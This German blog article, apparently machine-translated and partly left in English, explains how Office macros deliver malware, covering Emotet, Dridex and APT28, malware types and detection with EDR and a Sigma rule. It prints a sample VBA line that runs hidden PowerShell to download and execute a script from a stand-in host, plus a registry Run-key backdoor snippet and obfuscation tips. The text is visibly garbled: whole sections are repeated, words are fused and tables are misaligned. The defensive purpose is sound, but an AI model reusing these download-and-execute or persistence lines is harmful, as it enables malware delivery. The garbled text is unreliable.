Wie stellen Makros ein Cybersicherheitsrisiko dar?

Wenn Sie jemals mit Excel oder Word gearbeitet haben, sind Sie wahrscheinlich auf Makros gestoßen, diese praktischen kleinen Skripte, die sich wiederholende Aufgaben automatisieren.

Doch hinter ihrer Zweckmäßigkeit verbirgt sich ein ernsthafter Bedrohungsvektor, den Cyberkriminelle seit Jahren ausnutzen.

Wie stellen Makros eine Cybersicherheit darRisiko?Wenn diese Option aktiviert ist, können Makros versteckteausführen Code in scheinbar harmlosen Dokumenten.

Dies ermöglicht es Angreifern, Malware einzuschleusen, Daten zu stehlen oder sogar die Kontrolle über ganze Systeme zu übernehmen, oft mit nur einem Klick eines ahnungslosen Benutzers.

Makros stellen ein Risiko für die Cybersicherheit dar, da sie dazu ausgenutzt werden können, Schadcode auszuführen, wenn Benutzer infizierte Office-Dateien öffnen. Dies ermöglicht es Angreifern, herkömmliche Abwehrmaßnahmen zu umgehen und sich unbefugten Zugriff auf Systeme zu verschaffen.

In diesem Blog erklären wir genau, wie Makros bei realen Cyberangriffen missbraucht werden, welche Arten von Malware häufig über makrofähige Dokumente übertragen werden und welche Schritte Sie unternehmen können, um geschützt zu bleiben.

Was sind Makros in Microsoft Office?

Makros in Microsoft Officesind automatisierte Befehlssequenzen, die Benutzern dabei helfen, sich wiederholende Aufgaben effizienter auszuführen.

Wird üblicherweise ingeschrieben Visual Basic für Anwendungen (VBA), Makros werden in Anwendungen wie Excel, Word und Outlook verwendet, um Zeit zu sparen und die Produktivität zu steigern, indem Aktionen wie das Formatieren von Zellen, das Erstellen von Berichten oder das Versenden von E-Mails automatisiert werden.

Anstatt beispielsweise Formeln manuell auf Tausende von Excel-Zeilen anzuwenden, kann ein Benutzer ein Makro ausführen, um dies sofort mit einem Klick zu erledigen.

Aber wie stellen Makros eindar? CybersicherheitRisiko? Ihre Fähigkeit, Code auszuführen, macht sie zu einem beliebten Werkzeug für Angreifer, insbesondere wenn Benutzer unwissentlich bösartige Makros in Phishing-Dokumenten aktivieren.

Funktionsweise von Makros in Office-Dateien?

Ein Makro ist im Wesentlichen ein kleines Programm, das in ein Dokument eingebettet ist. Wenn ein Benutzer eine Datei öffnet, die ein Makro enthält, z. B. eine XLSM-, DOCM- oder PPTM-Datei, undauswählt Inhalt aktivieren, der Makrocode wird ausgeführt.

Dies kann in Unternehmensumgebungen, in denen die Automatisierung von Berichten, Berechnungen oder Arbeitsabläufen üblich ist, äußerst nützlich sein.

Office-Anwendungen bieten einRegisterkarte „Entwickler“, die Benutzer aktivieren können, um:

• Makros ohne Codierung aufzeichnen
  
• Schreiben oder bearbeiten Sie VBA-Code.
  
• Weisen Sie Makros Tasten oder Verknüpfungen zu.
  

Dateitypen, die häufig Makros enthalten

• .xlsm– Excel-Makro-fähige Arbeitsmappe
  
• .docm– Word-Makro-fähiges Dokument
  
• .pptm– PowerPoint-Makro-fähige Präsentation
  
• .xlam– Excel-Add-in mit Makros
  

Diese Dateien unterscheiden sich von ihren Standardgegenstücken (.xlsx, .docx usw.), da sie die Ausführung eingebetteten Codes ermöglichen.

Lesen Sie mehr unter:Was ist GRC in der Cybersicherheit? Alles, was Sie wissen sollten

Warum Makros gefährlich sein können?

Während Makros nützliche Zwecke erfüllen, führen sie auchein CybersicherheitRisiken. Da Makros Befehle auf Systemebene ausführen können, verwenden Angreifer sie häufig zum Ausführen vonbösartige Payloadswenn ahnungslose Benutzer Inhalte in infizierten Dokumenten aktivieren, die normalerweise über Phishing-E-Mails übermittelt werden.

Lesen Sie mehr unter:Cyber-Sicherheit vs. Software-Engineering: Code oder Verteidigung?

Warum Makros ein beliebter Angriffsvektor sind?

Cyberkriminelle missbrauchen Makros häufig, weil sie eine vertrauenswürdige, integrierte Automatisierungsfunktion in Microsoft Office bieten, die manipuliert werden kann, um Schadcode auszuführen, oft ohne sofort Verdacht zu erregen.

Ihre Integration in Geschäftsabläufe und Benutzergewohnheiten macht sie zu einem idealen Werkzeug für die Verbreitung von Malware, ein Hauptgrundwie Makros eindarstellen CybersicherheitRisikosowohl im privaten als auch im geschäftlichen Umfeld

1. Makros führen Code auf Systemebene aus

Makros, geschrieben inVisual Basic für Anwendungen (VBA), kann bei Aktivierung Befehle auf Systemebene ausführen. Das bedeutet, dass Angreifer Folgendes tun können:

• Laden Sie schädliche ausführbare Dateien herunter und führen Sie sie aus
  
• Ändern Sie die Registrierungseinstellungen
  
• Virenschutz deaktivieren
  
• Erstellen Sie Persistenzmechanismen
  

Diese Leistung verwandelt eine einfache Word- oder Excel-Datei in eine Fernbedienung für Systemkompromittierungen.

Lesen Sie mehr unter:Wie blockiert man die Strahlung eines WLAN-Routers?

2. Perfekt für Phishing und Social Engineering

Angreifer hängen häufig makrofähige Dokumente an Phishing-E-Mails an, getarnt als:

• Rechnungen
  
• Die Personalabteilung wird wieder aufgenommen
  
• Steuerformulare
  
• Sendungsverfolgungsblätter
  

Die E-Mail könnte lauten:

„Dieses Dokument ist geschützt. Klicken Sie zum Anzeigen auf „Inhalt aktivieren“.

Sobald der Benutzer aufklickt Inhalt aktivieren, löst das eingebettete Makro stillschweigend die Ausführung der Malware aus.

Lesen Sie mehr unter:Was ist Hetze in der Cybersicherheit? Fallen Sie nicht darauf herein

3. Makros umgehen viele herkömmliche Sicherheitskontrollen

Da Makros einsind legitime Office-Funktion, sie oft:

• Vermeiden Sie signaturbasierte Antiviren-Tools
  
• Durch Spamfilter schlüpfen, wenn sie gut gemacht sind
  
• Bleiben Sie in Sandbox-Umgebungen unbemerkt, wenn sie verschleiert werden
  

Angreifer können auchverwenden codierte VBA-Skripteoderdateilose Techniken, was die Erkennung noch schwieriger macht.

Lesen Sie mehr unter:So gründen Sie ein netzunabhängiges Cyber-Sicherheitsunternehmen

4. Makros erfordern keine Ausnutzung einer Sicherheitslücke

Im Gegensatz zu Zero-Day-Angriffen oder komplexen Exploits basieren makrobasierte Angriffe nicht auf Fehlern im System. Stattdessen nutzen sie dasaus Vertrauen des Benutzers.
Diesessenkt die technische Hürdefür Cyberkriminelle und erhöht gleichzeitig die Erfolgsquote.

Lesen Sie mehr unter:Ist die Cybersicherheit übersättigt? Karriereführer Inside

5. Weit verbreiteter Einsatz in Unternehmen

Da Makros in Unternehmensumgebungen so häufig vorkommen (zur Automatisierung von Excel-Berichten, zur Erstellung von Finanzberichten usw.), gilt bei vielen Organisationen:

• Makroverwendung standardmäßig zulassen
  
• Richtlinien zur Makroausführung können nicht ordnungsgemäß eingeschränkt werden
  
• Mangelnde Transparenz darüber, welche Dokumente Makros auslösen
  

Dadurch entsteht der perfekte Sturm: hohe Exposition + geringe Kontrolle = Angriffsvektormöglichkeit.

Lesen Sie mehr unter:Wie lange dauert es, ohne Erfahrung Cybersicherheit zu erlernen?

Warum Makros ein beliebter Angriffsvektor sind

Cyberkriminelle missbrauchen Makros häufig, weil sie einbieten vertrauenswürdige, integrierte Automatisierungsfunktionin Microsoft Office kann dassein manipuliert, um Schadcode auszuführen, oft ohne unmittelbaren Verdacht zu erregen. Ihre Integration in Geschäftsabläufe und Benutzergewohnheiten macht sie zu einem idealen Werkzeug für die Verbreitung von Malware.

1. Makros führen Code auf Systemebene aus

Makros, geschrieben inVisual Basic für Anwendungen (VBA), kann bei Aktivierung Befehle auf Systemebene ausführen. Das bedeutet, dass Angreifer Folgendes tun können:

• Laden Sie schädliche ausführbare Dateien herunter und führen Sie sie aus
  
• Ändern Sie die Registrierungseinstellungen
  
• Virenschutz deaktivieren
  
• Erstellen Sie Persistenzmechanismen
  

Diese Leistung verwandelt eine einfache Word- oder Excel-Datei in eine Fernbedienung für Systemkompromittierungen.

Lesen Sie mehr unter:Kerzensuchmaschine: Blitzschnelle private Suche

2. Perfekt für Phishing und Social Engineering

Angreifer hängen häufig makrofähige Dokumente an Phishing-E-Mails an, getarnt als:

• Rechnungen
  
• Die Personalabteilung wird wieder aufgenommen
  
• Steuerformulare
  
• Sendungsverfolgungsblätter
  

Die E-Mail könnte lauten:

„Dieses Dokument ist geschützt. Klicken Sie zum Anzeigen auf „Inhalt aktivieren“.

Sobald der Benutzer aufklickt Inhalt aktivieren, löst das eingebettete Makro stillschweigend die Ausführung der Malware aus.

Lesen Sie mehr unter:Cybersicherheit vs. Webentwicklung: Was ist besser?

3. Makros umgehen viele herkömmliche Sicherheitskontrollen

Da Makros einsind legitime Office-Funktion, sie oft:

• Vermeiden Sie signaturbasierte Antiviren-Tools
  
• Durch Spamfilter schlüpfen, wenn sie gut gemacht sind
  
• Bleiben Sie in Sandbox-Umgebungen unbemerkt, wenn sie verschleiert werden
  

Angreifer können auchverwenden codierte VBA-Skripteoderdateilose Techniken, was die Erkennung noch schwieriger macht.

Lesen Sie mehr unter:Wie können Sie Viren und Schadcode verhindern?

4. Makros erfordern keine Ausnutzung einer Sicherheitslücke

Im Gegensatz zu Zero-Day-Angriffen oder komplexen Exploits basieren makrobasierte Angriffe nicht auf Fehlern im System. Stattdessen nutzen sie dasaus Vertrauen des Benutzers.
Diesessenkt die technische Hürdefür Cyberkriminelle und erhöht gleichzeitig die Erfolgsquote.

Lesen Sie mehr unter:Inkognito vs. VPN: Was schützt Ihre Privatsphäre besser?

5. Weit verbreiteter Einsatz in Unternehmen

Da Makros in Unternehmensumgebungen so häufig vorkommen (zur Automatisierung von Excel-Berichten, zur Erstellung von Finanzberichten usw.), gilt bei vielen Organisationen:

• Makroverwendung standardmäßig zulassen
  
• Richtlinien zur Makroausführung können nicht ordnungsgemäß eingeschränkt werden
  
• Mangelnde Transparenz darüber, welche Dokumente Makros auslösen
  

Dadurch entsteht der perfekte Sturm: hohe Exposition + geringe Kontrolle = Angriffsvektormöglichkeit.

Lesen Sie mehr unter:Was ist CSAM in der Cybersicherheit? Alles, was Sie wissen müssen

Beispiele für makrobasierte Angriffe aus der Praxis

Wie stellen Makros ein Cybersicherheitsrisiko dar?Makrobasierte Angriffe sind nicht theoretisch; Sie wurden bei einigen der schädlichsten und am weitesten verbreiteten Cybervorfälle der jüngeren Geschichte eingesetzt.

Bedrohungsakteure bevorzugen Makros aufgrund ihrer Zuverlässigkeit, Reichweite und der Einfachheit, mit der sie in Phishing-Kampagnen eingesetzt werden können. Schauen wir uns einige bemerkenswerte Beispiele aus der Praxis an, bei denen bösartige Makros eine zentrale Rolle spielten.

1. Emotet-Malware-Kampagnen

Emotet, eine der berüchtigtsten Malware-Familien, stützte sich stark auf makrofähige Word-Dokumente. Diese Dokumente wurden über Phishing-E-Mails verschickt, bei denen es sich scheinbar um Rechnungen oder Zahlungserinnerungen handelte, und verleiteten Benutzer dazu, Makros zu aktivieren. Einmal aktiviert:

• Emotet würde sich selbst von einem Command-and-Control-Server herunterladen
  
• Es fungierte als Loader für andere Malware, wieTrickBotundRyuk-Ransomware
  
• Ausbreitung seitlich über Netzwerke, was zu massiven Verstößen führt
  

Auswirkung:Betroffen waren Finanzinstitute, Regierungsbehörden und Gesundheitsdienstleister weltweit, bevor es zu Störungen durchkam GesetzDurchsetzung im Jahr 2021.

Lesen Sie mehr unter:Deep Search Engine: Entdecken Sie über Google hinaus

2. Banking-Trojaner Dridex

DasDridexTrojaner nutzte mit Makros versehene Excel-Dateien, um Bankzugangsdaten zu stehlen:

• Die Phishing-E-Mails gaben sich als Lieferbenachrichtigungen oder Rechnungen aus
  
• Benutzer, die Makros aktiviert haben, haben unwissentlich VBA-Code ausgeführt
  
• Dridex hat Schadcode in Browserprozesse eingeschleust, um Bankanmeldungen in Echtzeit zu erfassen
  

Auswirkung:Es verursachte Finanzbetrug in Millionenhöhe und war mit organisierten Cyberkriminalitätsgruppen in Osteuropa verbunden.

3. APT28 (Fancy Bear) – Politische Spionage

APT28, eine mit dem russischen Staat verbundene Bedrohungsgruppe, nutzte währendmakrofähige Dokumente Wahlbezogene Spionagekampagnen. In einem Beispiel:

• Sie schickten Spear-Phishing-E-Mails mit angehängten Word-Dokumenten an politische Persönlichkeiten
  
• Die Makros werden nach der Aktivierung heruntergeladenSeduploader, eine Schadsoftware zur Aufklärung
  
• Dauerhafter Zugriff auf vertrauliche Kommunikation erhalten
  

Auswirkung:Wird inverwendet Einmischung in die US-Wahl,NATO-Ziele, undstaatliche Überwachung.

Lesen Sie mehr unter:Clearnet vs. Darknet: Wichtige Unterschiede erklärt

4. COVID-19-Phishing-Kampagnen (2020)

In den frühen Tagen der Pandemie nutzten Angreifer die Angst der Öffentlichkeit aus, indem sie Folgendes sendeten:

• Dokumente zum Thema WHO und Gesundheitsministerium
  
• Makros in diesen Dokumenten ausgeführtInfo-DiebstahlerundFernzugriffstools (RATs)
  

Auswirkung:Weitverbreitete Infektionen, die sich während des Lockdowns gegen Telearbeiter, Krankenhäuser und Regierungsbehörden richten.

5. NotPetya (Anfängliche Vektortheorie)

Obwohl dieNichtPetyaDer Ransomware-Wurm wurde hauptsächlich über die Kompromittierung der Lieferkette verbreitet,frühe Berichte vorgeschlagendass mit Makros versehene Excel-Dateien möglicherweise verwendet wurden, um an bestimmten Endpunkten, insbesondere in der Ukraine, Fuß zu fassen.

Angriffsname	Bedrohungsakteur/Malware	Versandart	Makro-Payload-Ergebnis	Auswirkungen
Emotet-Kampagnen	Emotet Loader + TrickBot	Word-Dokumente in Phishing-E-Mails	Mögliche Excel-Dokumente in der Frühphase	Globale Auswirkungen auf Finanzen, Gesundheitswesen und Regierungen
Dridex-Trojaner	Dridex-Banking-Malware	Excel-/Word-Dokumente als gefälschte Rechnungen	Browser-Injection, Diebstahl von Bankzugangsdaten	Millionenverlust durch Bankbetrug
APT28 Spionage	Fancy Bear / Seduploader	Spear-Phishing an politische Persönlichkeiten	Aufklärungs- und Hintertürinstallation	US-Wahlen, NATO und politische Ziele gefährdet
COVID-19-Betrug	Informationsdiebstahler, RATs	Gesundheitsbezogenes Phishing mit Office-Dokumenten	Fernzugriff, Datenexfiltration	Anstieg der Angriffe auf Telearbeiter und Krankenhäuser im Jahr 2020
NotPetya (theoretisch)	NotPetya-Ransomware-Wurm	Mögliche Excel-Dokumente in der frühen Phase	Erster Exploit vor der Lieferkette	Massenstörungen in der Ukraine, bei Maersk, FedEx usw.

Was passiert, wenn ein schädliches Makro aktiviert wird?

Wenn ein Benutzer ein schädliches Makro in einem Office-Dokument aktiviert, wirdausgelöst VBA (Visual Basic für Anwendungen)Codeausführung im vertrauenswürdigen Kontext von Microsoft Office.

WieStellen Makros ein Cybersicherheitsrisiko dar? Indem Sie dieses Vertrauen ausnutzen, um heimliche, dateilose Nutzlasten zu liefern, Persistenz zu erlangen und die Kontrolle über Systeme zu erlangen, oft ohne sofort Alarm auszulösen. Hier ist eine technische Schritt-für-Schritt-Anleitung:

Schritt 1: Makroinitialisierung über VBA Runtime

Sobald der Benutzer aufklickt „Inhalt aktivieren“,Die Office-Anwendung übergibt die Kontrolle anVBA-Laufzeit, wodurch mit der Ausführung des eingebetteten Codes im Dokument begonnen wird.

• Das Makro kann mitautomatisch ausgelöst werden ereignisgesteuerte Verfahren, wie:
  
  • AutoOpen() → wird ausgelöst, wenn das Dokument geöffnet wird (Word)
    
  • Workbook_Open() → wird ausgelöst, wenn Excel geöffnet wird
    
  • Document_Open() → eingebettet in Vorlage (.dotm)
    

Diese Verfahren eliminieren das brauchefür die Benutzerinteraktion nach der Aktivierung von Makros.

Schritt 2: Nutzlastbereitstellung über Living-Off-the-Land-Binärdateien (LOLBins)

ModernMakroangriffeLöschen Sie Binärdateien selten direkt.Stattdessen missbrauchen sie das integrierte WindowsWerkzeugezuLaden Sie Payloads heimlich herunter und führen Sie sie aus.Gängige Beispiele sind:

Verwendete LOLBins	Zweck
PowerShell.exe	Nutzlasten herunterladen, verschleierte Befehle ausführen
mshta.exe	Remote-JavaScript/HTML-Anwendung ausführen
certutil.exe	Base64-kodierte Malware aus dem Web abrufen
regsvr32.exe	Führen Sie schädliche Skripte über COM-Skriptlets aus
rundll32.exe	DLL-Nutzlasten laden und ausführen

Beispiel-VBA-Snippet:

Shell „powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command „“IEX(New-Object Net.WebClient).DownloadString(‘http://malicious.site/payload.ps1’) „“

Diese Prozesseentstehen normalerweiseaus Office-Apps

wie winword.exe oder excel.exe, was in EDR/XDR ein Warnsignal darstellt.

Schritt 3: Persistenzmechanismen

• Macros may establish persistence using:Registry keys:
  
• HKCU\Software\Microsoft\Windows\CurrentVersion\RunScheduled Tasks:
  
• Created using schtasks.exe via macro-executed PowerShellStartup folders:

Dropping a malicious script or shortcut to run on reboot

Example:

Set objShell = CreateObject(“WScript.Shell”)

objShell.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Backdoor”, “C:\Users\Victim\AppData\backdoor.exe”, “REG_SZ”

Step 4: Command-and-Control Communication (C2)

• Once the payload is deployed, it may:Beacon to a remote C2 server
  
• over HTTP, HTTPS, or DNSUse custom headersorbase64-encoded payloads
  
• to avoid detectionDeploy techniques likedomain frontingor use
  

bulletproof hosting

Some macros use encrypted strings or string obfuscation in VBA to hide C2 URLs and evade static detection.

Step 5: Final Payload Execution

• Final-stage payloads vary based on attacker objectives:Ransomware:
  
• Encrypt files and display a ransom noteInfostealers:
  
• Grab saved browser credentials, clipboard content, cookiesRATs:
  
• Enable real-time surveillance, keylogging, and screen captureCredential Dumpers:
  

Dump LSASS memory using procdump.exe or mimikatz

Detection Footprint (Technical Artifacts)	Artifact
What to Monitor	Office spawning PowerShell
winword.exe → powershell.exe	Suspicious registry edits
REG ADD in logs	Network traffic to unknown domains
Use threat intel feeds to correlate	File drops in AppData, Temp

Especially .dll, .ps1, .vbsSIEMs can writedetection rulesaround Office process trees, script execution anomalies, and registry persistenceactivity

.

To avoid detection, attackers often:

• Bonus: Obfuscation Technique
  
• Split VBA strings using Chr() or base64
  
• Use encoded PowerShell payloads

Dynamically download shellcode to memory (fileless malware)

Types of Malware Delivered via MacrosMacros have long been exploited by attackers as initial access vectors

, especially because they can execute arbitrary code within the context of vertrauenswürdige Microsoft Office-Anwendungen.Indem es als Startrampe für hochentwickelte Malware fungiert und es Bedrohungsakteuren ermöglicht, Endpunktverteidigungen zu umgehen und Systeme stillschweigend zu kompromittieren.

Sobald ein Benutzer Makros in einem schädlichen Dokument aktiviert, können Angreifer ein breites Spektrum an Malware verbreiten, das von Ransomware und Banking-Trojanern bis hin zu heimlicher dateiloser Malware reicht.

Nachfolgend finden Sie eine technisch detaillierte Erläuterung der häufigsten Arten von Malware, die über bösartige Makros übertragen werden, einschließlich des Ausführungsablaufs,Anwendungsfälleund bemerkenswerte Beispiele.

1.  Ransomware

Beschreibung:

Ransomware verschlüsselt die Dateien des Benutzers und verlangt eine Zahlung (normalerweise in Kryptowährung), um den Zugriff wiederherzustellen. Es kann auchenthalten doppelte Erpressung, bei dem Daten vor der Verschlüsselung exfiltriert werden.

So werden Makros verwendet:

• Das Makro startet einPowerShelloder den Befehl cmd.exe, um die Ransomware-Nutzlast herunterzuladen.
  
• Es kannverwenden Living-off-the-Land-Binärdateien (LOLBins)wie bitsadmin oder certutil, um verschlüsselte oder verschleierte Binärdateien abzurufen.
  
• Nutzlasten werden mit rundll32.exe ausgeführt und häufig in legitime Prozesse eingeschleust.
  

Beispiel aus der Praxis:

• Ryuk,LockBit, undLabyrinthwurden alle durch makrobasierte Phishing-Angriffe gelöscht, denen häufig Emotet- und TrickBot-Infektionen vorausgingen.
  

Technische Indikatoren:

• Office → PowerShell → Ransomware EXE
  
• Dateierweiterungen wie .ryk, .lockbit wurden erstellt
  
• C2-Verbindungen zu versteckten TOR-Diensten
  

2.  Remote Access Trojaner (RATs)

Beschreibung:

RATs bieten vollständigen Fernzugriff auf ein kompromittiertes System und können beliebige Befehle ausführen, Tastatureingaben aufzeichnen, Screenshots erstellen oder sogar Webcams und Mikrofone aktivieren.

Makroangriffsfluss:

• Das Makro löscht oder lädt ein verschleiertesherunter RAT-Binärdatei, oft getarnt als .dll oder .txt
  
• Registriert die RAT inHKCU-LaufRegistrierungsschlüssel oder eine geplante Aufgabe
  
• Behält die Persistenz über die Registrierungs- oder Startordner
  

bei  Gängige RATs, die über Makros bereitgestellt werden:

• Quasar-RATTE
  
• NanoCore
  
• AgentTesla
  
• DarkComet
  

Technische Indikatoren:

• Office-App → regsvr32.exe → DLL-Ausführung
  
• Reverse-TCP-Shell initiiert über versteckte PowerShell
  
• Beaconing-Verhalten für dynamische DNS-Domänen (DDNS)
  

3. Banking-Trojaner

Beschreibung:

Banking-Trojaner sind spezielle Malware, die Browsersitzungen überwacht, um Anmeldeinformationen von Finanzplattformen zu stehlen.

Makroangriffsfluss:

• Makro-TriggerPowerShell oder MSHTAum Malware wie Dridex, Ursnif oder TrickBot herunterzuladen
  
• Injiziert sich in Browserprozesse (z. B. chrome.exe, iexplore.exe)
  
• VerwendetFormgrabbing,Man-in-the-Browser (MitB), oderWebspritztum Daten zu erfassen
  

Beispiel:

• DridexDie über bösartige Excel-Anhänge übermittelten Schadsoftware nutzten verschleierte VBA-Makros und XOR-Kodierung, um der Erkennung zu entgehen.
  

Technische Indikatoren:

• Unerwartete DLLs in chrome.exe geladen
  
• Verschlüsselter Datenverkehr zu gefälschten Banking-Domains
  
• Geänderte Browserbibliotheken oder Proxys
  

4. Infostealer

Beschreibung:

Infostealer sammeln stillschweigend Daten vom System des Opfers, darunter Anmeldeinformationen, Browserverlauf, Cookies, Inhalte der Zwischenablage, gespeicherte Kreditkarteninformationen und sogar Kryptowährungs-Wallets.

Makroverwendung:

• VBA-Makro führt Skript füraus Laden Sie die EXE-Nutzlast herunter und führen Sie sie ausim temporären Verzeichnis
  
• Die Nutzlast durchsucht den lokalen Speicher nach Anmeldeinformationen und sendet sie über HTTP POST
  
• Enthält oftAnti-VM,Anti-Sandbox, undAnti-DebugTechniken
  

Beliebte Infostealer:

• FormBook
  
• RedLine
  
• Vidar
  
• LokiBot
  

Technische Indikatoren:

• Netzwerkverkehr mit Base64-codierten POST-Anfragen
  
• Gesammelte Daten gezippt und auf den C2-Server exfiltriert
  
• Persistenz über geplante Aufgaben und Registrierungsschlüssel
  

5. Dateilose Malware

Beschreibung:

Im Gegensatz zu herkömmlicher Malware befindet sich dateilose Malware vollständig im Speicher. Dadurch wird vermieden, dass irgendetwas auf die Festplatte geschrieben wird, wodurch eswird extrem verstohlenund für Antivirensoftware schwieriger zu erkennen.

Makroausführung:

• VBA-Makro startet verschleiertesPowerShell-Einzeiler
  
• Code fügt Shellcode oder Nutzdaten mithilfe von Invoke-Expression (IEX)
  
• direkt in den Speicher ein Verwendet Tools wieDonut-Lader,Reflektierende DLL-Injektion, oderPowerShell Empire
  

Beispiel:

• APT29undFIN7Gruppen haben Makros verwendet, um dateilose Malware für Spionage und laterale Bewegung innerhalb von Unternehmensnetzwerken bereitzustellen.
  

Technische Indikatoren:

• PowerShell wird von winword.exe oder excel.exe
  
• erzeugt Keine Binärdateien auf die Festplatte geschrieben
  
• Die Speicheranalyse enthüllt in legitimen Prozessen injizierten Shellcode
  

6.  Downloader und Loader

Beschreibung:

Dies sind leichtgewichtige Programme, deren einzige Aufgabe darin besteht,Sekundäre Malware herunterladen und ausführen, wird typischerweise bei mehrstufigen Angriffen verwendet.

Wie Makros beteiligt sind:

• Makros löschen Loader-Skripte wieGootLoader,ZLoader, oderSmokeLoader
  
• Der Loader stellt eine Verbindung zu C2 her und ruft verschlüsselte oder polymorphe Nutzdaten ab
  
• Die Malware der nächsten Stufe wird dynamisch ausgeführt, oft mit Prozessinjektion
  

Technische Indikatoren:

• Das ursprüngliche Office-Dokument hat eine Mindestgröße
  
• Skriptbasierte Verzögerungs- oder Sandbox-Umgehungslogik vorhanden
  
• Das Verhalten der Nutzlast der zweiten Stufe variiert je nach Zeit, Geografie oder Sprache
  

Malware-Typ	Hauptziel	Wird über ein Makro mit	bereitgestellt Schlüsselverhalten	Bemerkenswerte Beispiele	Erkennungsschwierigkeit
Ransomware	Dateien verschlüsseln, um Lösegeld zu erpressen	PowerShell / certutil / LOLBins	Verschlüsselt lokale und Netzwerkdateien und verwirft Lösegeldforderungen	Ryuk, LockBit, Maze	⚠️ Mittel
Remote-Access-Trojaner (RAT)	Vollständige Fernbedienung	VBScript/DLL-Drop/Registrierungspersistenz	VBScript/DLL-Drop/Registrierungspersistenz	NanoCore, AgentTesla, Quasar	✅ Hoch
Banking-Trojaner	Bankdaten stehlen	Office VBA → PowerShell → EXE	Browser-Injection, Web-Injects, Form-Grabbing	Dridex, Ursnif, TrickBot	✅ Hoch
Infostealer	Anmeldeinformationen und Sitzungsdaten exfiltrieren	Verschleierte Skripte und Nutzlast-Download	Stiehlt Passwörter, Cookies, Zwischenablagedaten und Krypto-Wallet-Dateien	RedLine, Vidar, FormBook	✅ Hoch
Dateilose Malware	Stealth-Ausführung im Speicher	PowerShell-Einzeiler (IEX)	Reflektierende DLL-Injektion, keine Festplattenaktivität, umgeht herkömmliche AV	FIN7-Tools, Empire	✅✅ Sehr hoch
Downloader / Loader	Nutzlast der zweiten Stufe liefern	Makro → kleiner Stub → C2-Abruf	Lädt Payloads herunter und führt sie aus, Sandbox-Umgehung, Persistenz-Setup	GootLoader, ZLoader	✅ Hoch

So erkennen Sie makrobasierte Angriffe

Die Erkennung makrobasierter Angriffe erfordert eine Kombination ausEndpunktsichtbarkeit,Protokollanalyse, undÜberwachung des Benutzerverhaltens.

Da Makrosnutzen legitimes AmtFunktionenund kannausführen heimliche Skripte, herkömmliche Antivirenlösungen übersehen sie oft. Nachfolgend finden Sie wirksame Techniken und Tools, die Blue-Teams und SOC-Analysten verwenden, um bösartige Makroaktivitäten zu erkennen.

1. Überwachen Sie verdächtige übergeordnete/untergeordnete Prozessbäume

Schädliche Makros verursachen normalerweiseUngewöhnliches Prozess-Spawning-Verhalten, wie zum Beispiel:

• WINWORD.EXE → POWERSHELL.EXE
  
• EXCEL.EXE → CMD.EXE → BITSADMIN.EXE
  
• OUTLOOK.EXE → MSHTA.EXE
  

Verwenden SieEDRWerkzeuge wieMicrosoft Defender für Endpunkt,CrowdStrike, oderSentinelOneum auf ungewöhnliche Prozessketten im Zusammenhang mit Office-Apps aufmerksam zu machen.

2. SIEM-Regelbeispiele für die makrobasierte Erkennung

Hier ist ein einfachesLogik im Sigma-Regelstilzur Erkennung der Makroausführung über PowerShell:

Titel: Office App Spawning PowerShell

Protokollquelle:

Kategorie: Prozesserstellung

Produkt: Windows

Erkennung:

Auswahl:

ParentImage|enthält:

– „winword.exe“

– „excel.exe“

– „powerpnt.exe“

Bild|endet mit: „powershell.exe“

Bedingung: Auswahl

Integrieren Sie in SIEMs wieSplunk,Elastisch (ELK), oderMicrosoft Sentinel.

3. Überwachen Sie Registrierungs- und Dateisystemartefakte

Schädliche Makros erzeugen häufigPersistenzmechanismenwie:

• Registrierungspfade:
  
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    
  • HKCU\Software\Microsoft\Office\\Word\Security
    
• Dateien abgelegt in:
  
  • %APPDATA%, %TEMP% oder Startordner
    
  • .vbs-, .ps1-, .lnk-Dateien
    

Verwenden SieSysmonundWazuhoderVelociraptorzur Überwachung auf Registrierungsänderungen und gelöschte Dateien.

4. Verdächtiges Netzwerkverhalten erkennen

Makros häufig:

• InitiierenHTTP/HTTPS-Anfragenzu unbekannten Domänen
  
• Leuchtfeuer zuBefehl und Kontrolle (C2)Server
  
• Verwenden Sie nicht browserbasierte Benutzeragenten wie Microsoft Office Word 12.0
  

Tools wieZeek,Suricata, oder IhrNGFW (Next-Gen Firewall)kann diese Anomalien erkennen.
IntegrierenThreat-Intelligence-Feedsum den ausgehenden Datenverkehr zu korrelieren.

5. Verhaltens-Sandboxing

Verwenden Sie dynamische Analysetools, um Office-Dokumente inzur Explosion zu bringen Sandbox-Umgebungen(z. B.Joe Sandbox,Any.Run,Hybrid Analysis). Diese Tools zeigen:

• VBA-Makroausführung
  
• PowerShell-Befehle
  
• Dateischreibvorgänge und Netzwerkaktivität
  
• Versuche, Sandboxing durch Verzögerungen oder Umgebungsprüfungen zu umgehen
  

6. Benutzerbasierte Anomalieerkennung

Verfolgen Sie Anomalien im Benutzerverhalten wie:

• Ein Nicht-Administrator führt plötzlich PowerShell über Word
  
• aus Wiederholtes Aktivieren von Makros aus externen Dokumenten
  
• Zugriff auf vertrauliche Dateien kurz nach dem Öffnen von Dokumenten mit Makros
  

Verwenden SieUEBA(User and Entity Behavior Analytics), um makrobasierte Anomalien mit der Benutzerrisikobewertung zu korrelieren.

Empfohlene Erkennungstools:

Werkzeug	Anwendungsfall
Sysmon + ELK-Stack	Low-Level-Telemetrie + Protokollkorrelation
Microsoft Defender ATP	Endpunkterkennung + Speicherscan
Velociraptor	Forensische Endpunktüberwachung (Open-Source)
Sigma-Regeln	SIEM-basierte Erkennungslogik
Zeek + Suricata	Makroerkennung auf Netzwerkebene
CAPE Sandbox / Any.Run	Dokumentdetonation und Nutzlastverfolgung

Tipp: Telemetrieebenen kombinieren

So erhöhen Sie die Erkennungssicherheit:

• KorrelierenProzesserstellungsprotokolle+Registry schreibt+DNS-Abfragen
  
• Warnung amUntergeordnete Office-Prozesse,PowerShell mit verschleierten Argumenten, oderNicht-Browser-Webverkehr

Wie stellen Makros ein Cybersicherheitsrisiko in Organisationen dar?

In Unternehmensumgebungen werden Makros häufig zur Automatisierung von Routineaufgaben in den Bereichen Finanzen, Personalwesen, Betrieb und Lieferkette verwendet.

Allerdings birgt diese legitime Funktionalität oft eine versteckte Bedrohung.Wie stellen Makros ein Cybersicherheitsrisiko dar?

Bei Missbrauch können sie als verdecktesdienen Kanalfür die Verbreitung von Malware, wodurch eine gefährliche Mischung aus Bequemlichkeit und Verwundbarkeit entsteht.

